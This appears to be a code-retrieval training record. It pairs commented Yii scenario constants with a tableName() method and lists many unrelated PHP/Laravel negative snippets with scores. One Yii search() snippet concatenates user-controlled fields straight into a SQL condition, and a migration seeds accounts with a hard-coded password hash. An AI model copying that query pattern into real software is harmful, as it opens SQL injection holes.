array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t\t*/\n\t}", "public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('first_name', $this->first_name, true);\n $criteria->compare('last_name', $this->last_name, true);\n $criteria->compare('address', $this->address, true);\n $criteria->compare('contact_number', $this->contact_number, true);\n $criteria->compare('city', $this->city, true);\n $criteria->compare('gender', $this->gender, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria = new CDbCriteria;\n\t\t$criteria->select = 'createDate, employeeId';\n\t\t$criteria->distinct = true;\n\t\t$criteria->addCondition('employeeId=\"' . $this->employeeId . '\" AND createDate between \"' . $this->startDate . '\" AND \"' . $this->endDate . '\"');\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria' => $criteria,\n\t\t));\n\t}" ]
[ "0.7773856", "0.674291", "0.65721744", "0.6503215", "0.6472826", "0.6389071", "0.63745373", "0.6287255", "0.62671757", "0.62457365", "0.62425256", "0.62123144", "0.61969537", "0.6172912", "0.61250603", "0.6123412", "0.6116283", "0.61031115", "0.6101092", "0.608637", "0.6081774", "0.6081262", "0.6073599", "0.60723656", "0.60405684", "0.6040201", "0.6035497", "0.60331875", "0.60318124", "0.60199106", "0.6013893", "0.5998194", "0.59764904", "0.59671843", "0.59579474", "0.59551156", "0.5941564", "0.5935285", "0.590389", "0.5899341", "0.5895071", "0.5894937", "0.5888715", "0.58834034", "0.5882613", "0.58762497", "0.58638185", "0.5860362", "0.5846486", "0.58438134", "0.5839541", "0.5829547", "0.5825096", "0.5821819", "0.5821492", "0.5816446", "0.5815201", "0.58059967", "0.58025193", "0.57952476", "0.5785819", "0.57808983", "0.57782406", "0.57766914", "0.5775805", "0.57744527", "0.57744527", "0.57744527", "0.57722074", "0.5771512", "0.5770783", "0.5769345", "0.57683945", "0.57675093", "0.576178", "0.57557786", "0.5747564", "0.5746954", "0.5745489", "0.5741678", "0.57375383", "0.57335705", "0.57302207", "0.57280165", "0.5726227", "0.57238483", "0.57218784", "0.5715393", "0.57136387", "0.5713353", "0.5711261", "0.5710481", "0.571002", "0.57075536", "0.57075375", "0.57060134", "0.5704971", "0.5703576", "0.57000446", "0.5696112" ]
0.59620416
34
const SCENARIO_CREATE = 'create'; const SCENARIO_UPDATE = 'update';
public static function tableName() { return 'hit_counter'; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return \"create\";\n }", "public function testIfCreationIsCorrect(){ \n \n $this->assertEquals(-1, $this->status->getStatusId()); \n $this->assertEquals('default_status', $this->status->getStatusName());\n \n }", "public function testCreateRole()\n {\n }", "public function testCreateRole()\n {\n }", "public static function name()\n {\n return 'create';\n }", "public function definition()\n {\n return [\n 'status' => $this->faker->sentence,\n ];\n }", "public function change()\n {\n\n $query =\n <<<'EOD'\nCREATE TABLE core_acl_role (\n id INTEGER,\n name TEXT NOT NULL,\n init_obj_id INTEGER REFERENCES obj (obj_id),\n description TEXT,\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_acl_role');\nSELECT ddl_history_tbl('core_acl_role', 'recreate');\n\nINSERT INTO core_acl_role (id, name, description) VALUES\n (1, 'admin', NULL),\n (2, 'guest', NULL),\n (3, 'user', NULL);\n\nCREATE TABLE core_acl_resource (\n id INTEGER,\n name TEXT NOT NULL,\n description TEXT,\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_acl_resource');\nSELECT ddl_history_tbl('core_acl_resource', 'recreate');\n\n\nINSERT INTO core_acl_resource (id, name, description) VALUES\n (1, 'admin_area', NULL),\n (2, '*', NULL);\n\nCREATE TABLE core_acl_resource_access (\n id INTEGER NOT NULL,\n resource_id INTEGER NOT NULL,\n name TEXT NOT NULL,\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_acl_resource_access');\nSELECT ddl_history_tbl('core_acl_resource_access', 'recreate');\n\nINSERT INTO core_acl_resource_access (id, resource_id, name) VALUES\n (1, 1, '*');\n\n\nCREATE TABLE core_acl_access_list (\n id INTEGER NOT NULL,\n role_id INTEGER NOT NULL,\n resource_id INTEGER NOT NULL,\n access_id INTEGER NOT NULL,\n allowed INTEGER NOT NULL,\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_acl_resource_access');\nSELECT ddl_history_tbl('core_acl_resource_access', 'recreate');\n\n\nINSERT INTO core_acl_access_list (id, role_id, resource_id, access_id, allowed) VALUES\n (1, 1, 1, 1, 1);\n\n\nCREATE TABLE core_acl_role_inherit (\n id INTEGER NOT NULL,\n role_id INTEGER NOT NULL,\n inherit_role_id INTEGER NOT NULL,\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_acl_role_inherit');\nSELECT ddl_history_tbl('core_acl_role_inherit', 'recreate');\n\n\n/*CREATE TYPE core_menu_item_status AS ENUM ('active', 'noactive');*/\n\n\nCREATE TABLE core_menu_item (\n id INTEGER NOT NULL,\n menu_id INTEGER NOT NULL,\n controller_id INTEGER NOT NULL,\n parent_id INTEGER NOT NULL DEFAULT '0',\n alias TEXT NOT NULL,\n title TEXT NOT NULL,\n description TEXT NOT NULL DEFAULT '',\n image TEXT NOT NULL DEFAULT '',\n position INTEGER NOT NULL DEFAULT '1',\n state_id INTEGER NOT NULL REFERENCES ref (obj_id) DEFAULT state_id('core.core_menu_item.active'),\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_menu_item');\nSELECT ddl_history_tbl('core_menu_item', 'recreate');\nSELECT create_state('core.core_menu_item', 'active,noactive', NULL);\n\n\nINSERT INTO core_menu_item (id, menu_id, controller_id, parent_id, alias, title, description, image, position, state_id)\nVALUES\n (1, 1, '-1', 0, '', 'Settings', 'Project settings', '', 5, state_id('core.core_menu_item.active')),\n (2, 1, '-1', 1, '', 'User acccesses', '', '', 1, state_id('core.core_menu_item.active')),\n (3, 1, '6', 2, '', 'Roles', '', '', 1, state_id('core.core_menu_item.active')),\n (4, 1, '-1', 1, '', 'Menu', '', '', 2, state_id('core.core_menu_item.active')),\n (5, 1, '-1', 1, '', 'Mvc', '', '', 3, state_id('core.core_menu_item.active')),\n (7, 1, '2', 4, '', 'Items', '', '', 2, state_id('core.core_menu_item.active')),\n (8, 1, '3', 5, '', 'Modules', '', '', 1, state_id('core.core_menu_item.active')),\n (9, 1, '4', 5, '', 'Controllers', '', '', 2, state_id('core.core_menu_item.active')),\n (10, 1, '5', 5, '', 'Actions', '', '', 3, state_id('core.core_menu_item.active')),\n (11, 1, '1', 4, '', 'Menus', '', '', 1, state_id('core.core_menu_item.active')),\n (12, 1, '7', 2, '', 'Accesses', '', '', 4, state_id('core.core_menu_item.active')),\n (13, 1, '8', 2, '', 'Resources', '', '', 2, state_id('core.core_menu_item.active')),\n (14, 1, '9', 2, '', 'Access list', '', '', 5, state_id('core.core_menu_item.active')),\n (19, 1, '14', 15, '', 'Settings', 'Cron settings', '', 0, state_id('core.core_menu_item.active')),\n (20, 1, '15', 2, '', 'Users', '', '', 5, state_id('core.core_menu_item.active'));\n\n\nCREATE TABLE core_menu_menus (\n id INTEGER NOT NULL,\n name TEXT NOT NULL,\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_menu_item');\nSELECT ddl_history_tbl('core_menu_item', 'recreate');\n\nINSERT INTO core_menu_menus (id, name) VALUES\n (1, 'admin');\n\nCREATE TABLE core_mvc_action (\n id INTEGER NOT NULL,\n controller_id INTEGER NOT NULL,\n name TEXT NOT NULL,\n state_id INTEGER REFERENCES ref (obj_id) DEFAULT state_id('core.core_mvc_action.active'),\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_mvc_action');\nSELECT ddl_history_tbl('core_mvc_action', 'recreate');\nSELECT create_state('core.core_menu_item', 'active,not_active', NULL);\n\n\n/*CREATE TYPE core_mvc_module_status AS ENUM ('active', 'not_active');*/\n\n\nCREATE TABLE core_mvc_module (\n id INTEGER NOT NULL,\n name TEXT NOT NULL,\n state_id INTEGER NOT NULL DEFAULT state_id('core.core_mvc_module.active'),\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_mvc_module');\nSELECT ddl_history_tbl('core_mvc_module', 'recreate');\nSELECT create_state('core.core_mvc_module', 'active,noactive', NULL);\n\n\nINSERT INTO core_mvc_module (id, name, state_id) VALUES\n (1, 'admin', state_id('core.core_mvc_module.active')),\n (2, 'core', state_id('core.core_mvc_module.active')),\n (4, 'user', state_id('core.core_mvc_module.active'));\n\nCREATE TABLE core_mvc_controller (\n id INTEGER NOT NULL,\n module_id INTEGER NOT NULL,\n name TEXT NOT NULL,\n state_id INTEGER NOT NULL DEFAULT state_id('core.core_mvc_module.active'),\n init_obj_id INTEGER REFERENCES obj (obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP\n);\nSELECT create_class('core.core_mvc_controller');\nSELECT ddl_history_tbl('core_mvc_controller', 'recreate');\nSELECT create_state('core.core_mvc_controller', 'active,noactive', NULL);\n\n\nINSERT INTO core_mvc_controller (id, module_id, name, state_id) VALUES\n (1, 2, 'menu-menus', state_id('core.core_mvc_controller.active')),\n (2, 2, 'menu-item', state_id('core.core_mvc_controller.active')),\n (3, 2, 'mvc-module', state_id('core.core_mvc_controller.active')),\n (4, 2, 'mvc-controller', state_id('core.core_mvc_controller.active')),\n (5, 2, 'mvc-action', state_id('core.core_mvc_controller.active')),\n (6, 2, 'acl-role', state_id('core.core_mvc_controller.active')),\n (7, 2, 'acl-access', state_id('core.core_mvc_controller.active')),\n (8, 2, 'acl-resource', state_id('core.core_mvc_controller.active')),\n (9, 2, 'acl-accessList', state_id('core.core_mvc_controller.active')),\n (10, 2, 'acl-roleInherit', state_id('core.core_mvc_controller.active')),\n (14, 3, 'setting', state_id('core.core_mvc_controller.active')),\n (15, 4, 'users', state_id('core.core_mvc_controller.active'));\n\n/*\nCREATE TABLE user_users (\n obj_id integer NOT NULL REFERENCES obj(obj_id),\n email text NOT NULL,\n password text NOT NULL,\n name text NOT NULL,\n core_acl_role_id integer NOT NULL,\n state_id integer NOT NULL REFERENCES ref(obj_id),\n init_obj_id integer REFERENCES obj(obj_id),\n create_time TIMESTAMP,\n update_time TIMESTAMP);\nselect create_class('core.user_users');\n\nINSERT INTO user_users (obj_id,email, password, name, core_acl_role_id, state_id) VALUES\n(6, '[email protected]', '$2a$08$GAeqa0pyDZMWBJYdAtKBI.rocjxtQ4RQV9ca1Np02LF6Z6LKUdTNu', 'Artem', 1, state_id('core.user_users.active'));*/\n\n\n/*DROP TRIGGER IF EXISTS ms_refresh_person_ns ON person_ns;\nDROP FUNCTION IF EXISTS ms_refresh_person_ns();\n\nDROP TRIGGER IF EXISTS person_ns_before_insert ON person_ns;\nDROP FUNCTION IF EXISTS person_ns_before_insert();\nDROP TRIGGER IF EXISTS person_ns_before_update ON person_ns;\nDROP FUNCTION IF EXISTS person_ns_before_update();\nDROP TRIGGER IF EXISTS person_ns_odb_after_delete_trigger ON person_ns;\nDROP TRIGGER IF EXISTS person_ns_odb_before_insert_trigger ON person_ns;\nDROP TRIGGER IF EXISTS person_ns_before_change_history_trigger ON person_ns;*/\n\n\ndrop MATERIALIZED view vw_pr;\n\n/*ALTER TABLE person_ns DROP COLUMN auth_key;\nALTER TABLE person_ns DROP COLUMN token;*/\n\n\n\n\nDROP FUNCTION IF EXISTS ms_refresh_person_ns() CASCADE ;\n\ndelete from person_ns\nwhere login not in ('soscredit');\n\nalter table person_ns drop COLUMN type_id;\nalter table person_ns drop COLUMN state_id;\n\n\nDELETE\nFROM ref\nWHERE relname = 'person_ns';\n\n\n\nALTER TABLE person_ns DROP COLUMN update_time;\nALTER TABLE person_ns DROP COLUMN create_time;\n\nALTER TABLE person_ns ADD COLUMN name text;\n\n\nselect create_class('core.person_ns',null);\nSELECT create_state('core.person_ns', 'active,noactive,deleted,blocked', NULL);\n\nalter table person_ns add COLUMN state_id integer DEFAULT state_id('core.person_ns.active');\n\nALTER TABLE person_ns ADD COLUMN update_time TIMESTAMP;\nALTER TABLE person_ns ADD COLUMN create_time TIMESTAMP;\n\n\n\n\nALTER TABLE core_acl_access_list ADD PRIMARY KEY (id);\nCREATE UNIQUE INDEX ON core_acl_access_list (role_id, resource_id, access_id);\n\nCREATE SEQUENCE core_acl_access_list_id_seq;\nALTER TABLE core_acl_access_list ALTER COLUMN id SET DEFAULT nextval('core_acl_access_list_id_seq');\nSELECT setval('core_acl_access_list_id_seq', (SELECT max(id) + 1\n FROM core_acl_access_list));\n\n\nALTER TABLE core_acl_resource ADD PRIMARY KEY (id);\nCREATE UNIQUE INDEX ON core_acl_resource (name);\n\nCREATE SEQUENCE core_acl_resource_id_seq;\nALTER TABLE core_acl_resource ALTER COLUMN id SET DEFAULT nextval('core_acl_resource_id_seq');\nSELECT setval('core_acl_access_list_id_seq', (SELECT max(id) + 1\n FROM core_acl_resource));\n\nALTER TABLE core_acl_resource_access ADD PRIMARY KEY (id);\nCREATE UNIQUE INDEX ON core_acl_resource_access (resource_id, name);\n\nCREATE SEQUENCE core_acl_resource_access_id_seq;\nALTER TABLE core_acl_resource_access ALTER COLUMN id SET DEFAULT nextval('core_acl_resource_access_id_seq');\nSELECT setval('core_acl_resource_access_id_seq', (SELECT max(id) + 1\n FROM core_acl_resource_access));\n\nALTER TABLE core_acl_role ADD PRIMARY KEY (id);\nCREATE UNIQUE INDEX ON core_acl_role (name);\n\nCREATE SEQUENCE core_acl_role_id_seq;\nALTER TABLE core_acl_role ALTER COLUMN id SET DEFAULT nextval('core_acl_role_id_seq');\nSELECT setval('core_acl_role_id_seq', (SELECT max(id) + 1\n FROM core_acl_role));\n\nALTER TABLE core_acl_role_inherit ADD PRIMARY KEY (id);\nCREATE UNIQUE INDEX ON core_acl_role_inherit (role_id, inherit_role_id);\n\n\nCREATE SEQUENCE core_acl_role_inherit_id_seq;\nALTER TABLE core_acl_role_inherit ALTER COLUMN id SET DEFAULT nextval('core_acl_role_inherit_id_seq');\nSELECT setval('core_acl_role_inherit_id_seq', (SELECT max(id) + 1\n FROM core_acl_role_inherit));\n\nALTER TABLE core_menu_item ADD PRIMARY KEY (id);\nCREATE INDEX ON core_menu_item (state_id);\n\nCREATE SEQUENCE core_menu_item_id_seq;\nALTER TABLE core_menu_item ALTER COLUMN id SET DEFAULT nextval('core_menu_item_id_seq');\nSELECT setval('core_menu_item_id_seq', (SELECT max(id) + 1\n FROM core_menu_item));\n\nALTER TABLE core_menu_menus ADD PRIMARY KEY (id);\n\nCREATE SEQUENCE core_menu_menus_id_seq;\nALTER TABLE core_menu_menus ALTER COLUMN id SET DEFAULT nextval('core_menu_menus_id_seq');\nSELECT setval('core_menu_menus_id_seq', (SELECT max(id) + 1\n FROM core_menu_menus));\n\n\nALTER TABLE core_mvc_action ADD PRIMARY KEY (id);\nCREATE UNIQUE INDEX ON core_mvc_action (controller_id, name);\n\n\nCREATE SEQUENCE core_mvc_action_id_seq;\nALTER TABLE core_mvc_action ALTER COLUMN id SET DEFAULT nextval('core_mvc_action_id_seq');\nSELECT setval('core_mvc_action_id_seq', (SELECT max(id) + 1\n FROM core_menu_menus));\n\nALTER TABLE core_mvc_controller ADD PRIMARY KEY (id);\n\nCREATE SEQUENCE core_mvc_controller_id_seq;\nALTER TABLE core_mvc_controller ALTER COLUMN id SET DEFAULT nextval('core_mvc_controller_id_seq');\nSELECT setval('core_mvc_controller_id_seq', (SELECT max(id) + 1\n FROM core_mvc_controller));\n\n\nALTER TABLE core_mvc_module ADD PRIMARY KEY (id);\n\nCREATE SEQUENCE core_mvc_module_id_seq;\nALTER TABLE core_mvc_module ALTER COLUMN id SET DEFAULT nextval('core_mvc_module_id_seq');\nSELECT setval('core_mvc_module_id_seq', (SELECT max(id) + 1\n FROM core_mvc_module));\n\n\nALTER TABLE core_acl_role_inherit ADD FOREIGN KEY (role_id) REFERENCES core_acl_role (id);\nALTER TABLE core_acl_role_inherit ADD FOREIGN KEY (inherit_role_id) REFERENCES core_acl_role_inherit (id);\nALTER TABLE core_acl_resource_access ADD FOREIGN KEY (resource_id) REFERENCES core_acl_resource (id);\nALTER TABLE core_acl_access_list ADD FOREIGN KEY (role_id) REFERENCES core_acl_role (id);\nALTER TABLE core_acl_access_list ADD FOREIGN KEY (resource_id) REFERENCES core_acl_resource (id);\nALTER TABLE core_acl_access_list ADD FOREIGN KEY (access_id) REFERENCES core_acl_resource_access (id);\n\n\nALTER TABLE person_ns ADD COLUMN core_acl_role_id INTEGER NOT NULL REFERENCES core_acl_role (id) DEFAULT 1;\nALTER TABLE person_ns drop column login;\nALTER TABLE person_ns alter column tree set DEFAULT 1;\nALTER TABLE person_ns drop column pathl;\n\n\n\ncreate UNIQUE INDEX person_ns_email_unq on person_ns(email);\n\nselect ddl_history_tbl('person_ns','recreate');\n\nupdate person_ns\nset email = '[email protected]';\n\nINSERT INTO person_ns (email,password, name, core_acl_role_id, state_id) VALUES\n ('[email protected]','$2a$08$GAeqa0pyDZMWBJYdAtKBI.rocjxtQ4RQV9ca1Np02LF6Z6LKUdTNu', 'Artem', 1,\n state_id('core.person_ns.active'));\n\nINSERT INTO person_ns (email,password, name, core_acl_role_id, state_id) VALUES\n ('[email protected]','$2a$08$GAeqa0pyDZMWBJYdAtKBI.rocjxtQ4RQV9ca1Np02LF6Z6LKUdTNu', 'Victor', 1,\n state_id('core.person_ns.active'));\n\nINSERT INTO person_ns (email,password, name, core_acl_role_id, state_id) VALUES\n ('[email protected]','$2a$08$GAeqa0pyDZMWBJYdAtKBI.rocjxtQ4RQV9ca1Np02LF6Z6LKUdTNu', 'Oleg', 1,\n state_id('core.person_ns.active'));\n\nEOD;\n $count = $this->execute($query);\n }", "public function run()\n {\n\n $role_user = new Role();\n $role_user->name = 'User';\n $role_user->description= 'Normal User';\n $role_user->save();\n\n $role_user_manager = new Role();\n $role_user_manager->name = 'User Manager';\n $role_user_manager->description= 'Control all User';\n $role_user_manager->save();\n\n $role_admin = new Role();\n $role_admin->name = 'Administrator';\n $role_admin->description= 'Full Permission';\n $role_admin->save();\n\n $role_personal_r = new Role();\n $role_personal_r->name = 'Personal Read';\n $role_personal_r->description= 'Read only Personal';\n $role_personal_r->save();\n\n $role_personal_w = new Role();\n $role_personal_w->name = 'Personal Write';\n $role_personal_w->description= 'Read & Write Personal';\n $role_personal_w->save();\n\n $role_personal_m = new Role();\n $role_personal_m->name = 'Personal Manager';\n $role_personal_m->description= 'Personal Manager';\n $role_personal_m->save();\n\n $role_account_r = new Role();\n $role_account_r->name = 'Account Read';\n $role_account_r->description= 'Read only Account';\n $role_account_r->save();\n\n $role_account_w = new Role();\n $role_account_w->name = 'Account Write';\n $role_account_w->description= 'Read & Write Account';\n $role_account_w->save();\n\n $role_account_m = new Role();\n $role_account_m->name = 'Account Manager';\n $role_account_m->description= 'Account Manager';\n $role_account_m->save();\n\n $role_store_r = new Role();\n $role_store_r->name = 'Store Read';\n $role_store_r->description= 'Read only Store';\n $role_store_r->save();\n\n $role_store_w = new Role();\n $role_store_w->name = 'Store Write';\n $role_store_w->description= 'Read & Write Store';\n $role_store_w->save();\n\n $role_store_m = new Role();\n $role_store_m->name = 'Store Manager';\n $role_store_m->description= 'Store Manager';\n $role_store_m->save();\n\n\n }", "public function testCompanyConfigurationsStatusesIdPut()\n {\n\n }", "public function run()\n {\n $rol = new Role();\n $rol->name =\"normal\";\n $rol->save();\n\n $rol = new Role();\n $rol->name =\"employer\";\n $rol->save();\n\n $rol = new Role();\n $rol->name =\"seeker\";\n $rol->save();\n\n $rol = new Role();\n $rol->name =\"admin\";\n $rol->save();\n\n $rol = new Role();\n $rol->name =\"super\";\n $rol->save();\n }", "public function create()\n{\n //\n}", "public function testCreateScenario()\n {\n $client = static::createClient();\n }", "public function run()\n {\n Role::create([\n 'name'=>'creator',\n 'primissions'=> json_encode([\n 'create-product',\n 'edit-product'\n ])\n ]);\n\n Role::create([\n 'name'=>'editor',\n 'primissions'=> json_encode([\n 'edit-product'\n ])\n ]);\n\n Role::create([\n 'name'=>'deletion',\n 'primissions'=> json_encode([\n 'delete-product'\n ])\n ]);\n\n }", "public function create()\n {\n\n \n }", "public function run()\n {\n\n\n $type = new CarType();\n $type->name = 'Saloon';\n $type->save();\n\n $type2 = new CarType();\n $type2->name = 'Minibus';\n $type2->save();\n }", "public function create()\n {\n //\n\n \n }", "public function create()\n{\n //\n}", "public function getName()\n {\n return \"wizad_crud\";\n }", "public function testRole()\n {\n }", "public static function getScenarios()\n\t{\n\t\treturn [\n\t\t\tstatic::SCENARIO_ADDROLE,\n\t\t\tstatic::SCENARIO_ADDPARENT,\n\t\t\tstatic::SCENARIO_ADDCHILD,\n\t\t];\n\t}", "function getAfterCreationCmd(){\n return \"editQuiz\";\n }", "public function testWorkflowsWorkflowIdPut()\n {\n }", "protected function setupCreateOperation()\n {\n CRUD::setValidation(SettingRequest::class);\n\n CRUD::field('key')->type('text')->label('ID key');\n CRUD::field('name')->type('text')->label('Nom');\n CRUD::field('type')\n ->type('select_from_array')\n ->label('Type de widget')\n ->options([\n 'ckeditor' => 'ckeditor',\n 'textarea' => 'textarea',\n 'text' => 'text',\n ]);\n }", "public function create()\n {\n\n\n\n }", "public function testStatusOption()\n {\n $user = factory(User::class)->create();\n $lease = factory(Lease::class)->create();\n }", "public function actionCreate() {}", "public function actionCreate() {}", "public function testPutAuthorizationRoleUsersAdd()\n {\n }", "public function create(){\n \n }", "public function createAction()\n {\n }", "public function create()\n {\n // \n }", "public function definition() {\n $status = ['awaiting', 'considering', 'planned', 'not_planned', 'done', 'deleted'];\n $randomInteger = rand(0, 5);\n\n return [\n 'contributor_id' => $this->faker->numberBetween(1, 20),\n 'board_id' => 1,\n 'title' => ucwords($this->faker->words(4, true)),\n 'description' => $this->faker->paragraph(5),\n 'status' => $status[$randomInteger],\n ];\n }", "public function run()\n {\n $administrator_role=new Role();\n $administrator_role->name=\"administrator\";\n $administrator_role->description=\"administrator\";\n $administrator_role->save();\n\n $autenticated_role=new Role();\n $autenticated_role->name=\"authenticated\";\n $autenticated_role->description=\"authenticated\";\n $autenticated_role->save();\n }", "public function testPutAuthorizationRolesDefault()\n {\n }", "public function testStatusConfirm()\n {\n\n }", "public function testPutAuthorizationRole()\n {\n }", "public function create()\n {\n\n \n }", "public function run()\n {\n $createproduct = new Permission();\n $createproduct->name = 'list-product';\n $createproduct->display_name = 'list products'; // optional\n // Allow a user to...\n $createproduct->description = 'list new products'; // optional\n $createproduct->save();\n\n $createproduct = new Permission();\n $createproduct->name = 'create-product';\n $createproduct->display_name = 'Create products'; // optional\n // Allow a user to...\n $createproduct->description = 'create new products'; // optional\n $createproduct->save();\n \n $createproduct = new Permission();\n $createproduct->name = 'edit-product';\n $createproduct->display_name = 'edit products'; // optional\n // Allow a user to...\n $createproduct->description = 'edit products'; // optional\n $createproduct->save();\n\n $createproduct = new Permission();\n $createproduct->name = 'delete-product';\n $createproduct->display_name = 'delete products'; // optional\n // Allow a user to...\n $createproduct->description = 'delete products'; // optional\n $createproduct->save();\n\n $editUser = new Permission();\n $editUser->name = 'list-user';\n $editUser->display_name = 'list Users'; // optional\n // Allow a user to...\n $editUser->description = 'list users'; // optional\n $editUser->save();\n\n $editUser = new Permission();\n $editUser->name = 'create-user';\n $editUser->display_name = 'Create Users'; // optional\n // Allow a user to...\n $editUser->description = 'create existing users'; // optional\n $editUser->save();\n\n $editUser = new Permission();\n $editUser->name = 'edit-user';\n $editUser->display_name = 'Edit Users'; // optional\n // Allow a user to...\n $editUser->description = 'edit existing users'; // optional\n $editUser->save();\n\n $editUser = new Permission();\n $editUser->name = 'delete-user';\n $editUser->display_name = 'delete Users'; // optional\n // Allow a user to...\n $editUser->description = 'delete existing users'; // optional\n $editUser->save();\n \n }", "public function test_create_item() {}", "public function test_create_item() {}", "public function create(){ \n //\n }", "public function testExample()\n { \n\n $data = [\n 'name'=>'Побег из Шоушенка',\n 'description'=>'Фильм',\n ];\n\n $this->put('/film',$data)->seeJsonEquals([\n 'created'=>true\n ]);\n }", "public function create(){\n\n }", "public function createAction() {\n\t}", "public function create()\n { \n\n }", "public function run()\n {\n $faker = Faker\\Factory::create('zh_CN');\n\n for($i = 0;$i<3;$i++){\n Role::create([\n 'name' => $faker->name,\n 'code' => $faker->languageCode,\n 'detail' => $faker->sentence()\n ]);\n }\n\n }", "public function create()\n {\n echo \"create\";\n }", "public function create()\n {\n echo \"create\";\n }", "public function run()\n {\n // factory('App\\Role', 3)->create();\n\n $role=new Role;\n $role->nom = 'Responsable';\n $role->description = 'Administrateur du site';\n $role->save();\n\n $role=new Role;\n $role->nom = 'Professeur';\n $role->description = 'Animateur (ice) - Formateur (ice)';\n $role->save();\n\n $role=new Role;\n $role->nom = 'Particulier';\n $role->description = 'Participant (e) au programme de soutien';\n $role->save();\n }", "public function definition()\n {\n /** para el campo title quiero que me generes una sentencia */\n $title = $this->faker->sentence();\n \n return [\n 'title' => $title,\n /** para el campo subtitle quiero que me generes una sentencia */\n 'subtitle' => $this->faker->sentence(),\n /** para el campo description quiero que me generes un parrafo */\n 'description' => $this->faker->paragraph(),\n /** para el campo status quiero que sea llenado con tres posibles valores dentro de un array para cada uno llamamos al modelo Course y que me digas el valor de la constantes BORRADOR, REVISION, PUBLICADO */\n 'status' => $this->faker->randomElement([\n Course::BORRADOR, Course::REVISION, Course::PUBLICADO\n ]),\n /**\n * Llamo a la clase Str accedo al metodo slug y dentro le pasamos el valor de la variable\n */\n 'slug' => Str::slug($title),\n /**\n * para que hayan 5 instructotres en a plataforma de cursos, si deso solo 1 \n * 'user_id' => 1,\n * Si me sale un eroro con el mensaje de abajo \n * Spatie\\Permission\\Exceptions\\PermissionAlreadyExists\n * Solucion\n * https://stackoverflow.com/questions/61726194/spatie-permission-exceptions-permissionalreadyexists-a-edit-listing-permissi\n * */\n \n 'user_id' => $this->faker->randomElement([1,2,3,4,5]),\n /**\n * Pedimos que nos rescate todos los Level registrado Level::all() para que \n * funcione importo el modelo Level arriba, Luego quiero que me escoja uno al\n * azar random(), una vez escojido quiero si id \n * \n */\n 'level_id' => Level::all()->random()->id,\n /**\n * Pedimos que nos rescate todos las categorias registradas Category::all() para que \n * funcione importo el modelo Category arriba, Luego quiero que me escoja uno al\n * azar random(), una vez escojido quiero si id \n * \n */\n 'category_id' => Category::all()->random()->id,\n /**\n * Pedimos que nos rescate todos los precios registradas Price::all() para que \n * funcione importo el modelo Price arriba, Luego quiero que me escoja uno al\n * azar random(), una vez escojido quiero si id \n * \n */\n 'price_id' => Price::all()->random()->id,\n ];\n }", "public function create()\n {\n \n \n }", "public function create()\n { \n\n\n }", "public function run()\n { \n $admin = new Role();\n $admin->name = 'SuperAdmin';\n $admin->save();\n\n \t$admin = new Role();\n $admin->name = 'Admin';\n $admin->save();\n\n $Staff = new Role();\n $Staff->name = 'Staff';\n $Staff->save();\n\n $Alumni = new Role();\n $Alumni->name = 'Alumni';\n $Alumni->save();\n\n }", "public\n function create()\n {\n //\n }", "public function run()\n {\n DB::table('roles')->delete();\n\n // Create Admin role\n $admin = new Role();\n $admin->name = \"admin\";\n $admin->display_name = \"Admin\";\n $admin->save();\n\n // Create Editor role\n $editor = new Role();\n $editor->name = \"editor\";\n $editor->display_name = \"Editor\";\n $editor->save();\n\n // Create Author role\n $teacher = new Role();\n $teacher->name = \"user\";\n $teacher->display_name = \"User\";\n $teacher->save();\n }", "public function create()\n {\n //s\n }", "public function run()\n {\n \t$admin = Roles::create([\n \t\t'id'=>1,\n \t\t'name_role' => 'Admin',\n \t\t'slug' => 'admin',\n \t\t'permissions' => json_encode([\n \t\t\t'act-product'=> true,\n \t\t\t'act-brand'=> true,\n \t\t\t'act-staff'=> true,\n \t\t\t'act-sell'=> true,\n \t\t\t'act-order'=> true,\n \t\t\t'act-bill_sell'=> true,\n \t\t\t'act-warehouse'=> true,\n \t\t\t'act-supplier'=> true,\n \t\t\t'act-votes_collect'=> true,\n \t\t\t'act-votes_pay'=> true,\n \t\t\t'act-funds'=> true,\n \t\t\t'act-report'=> true\n \t\t])\n \t]);\n \n \t$cashier = Roles::create([\n \t\t'id'=>2,\n \t\t'name_role' => 'Cashier',\n \t\t'slug' => 'cashier',\n \t\t'permissions' => json_encode([\n\t\t\t\t'act-product'=> true,\n \t\t\t'act-brand'=> true,\n \t\t\t'act-sell'=> true,\n \t\t\t'act-order'=> true,\n \t\t\t'act-bill_sell'=> true,\n \t\t\t'act-warehouse'=> true,\n \t\t\t'act-supplier'=> true,\n \t\t\t'act-votes_collect'=> true,\n \t\t\t'act-votes_pay'=> true,\n \t\t\t'act-funds'=> true,\n \t\t\t'act-report'=> true\n \t\t])\n \t]);\n\n \t$sell = Roles::create([\n \t\t'id'=>3,\n \t\t'name_role' => 'Sell',\n \t\t'slug' => 'sell'\n \t]);\n\n }", "public function testCreateService()\n {\n\n }", "public function run()\n {\n $rol = new 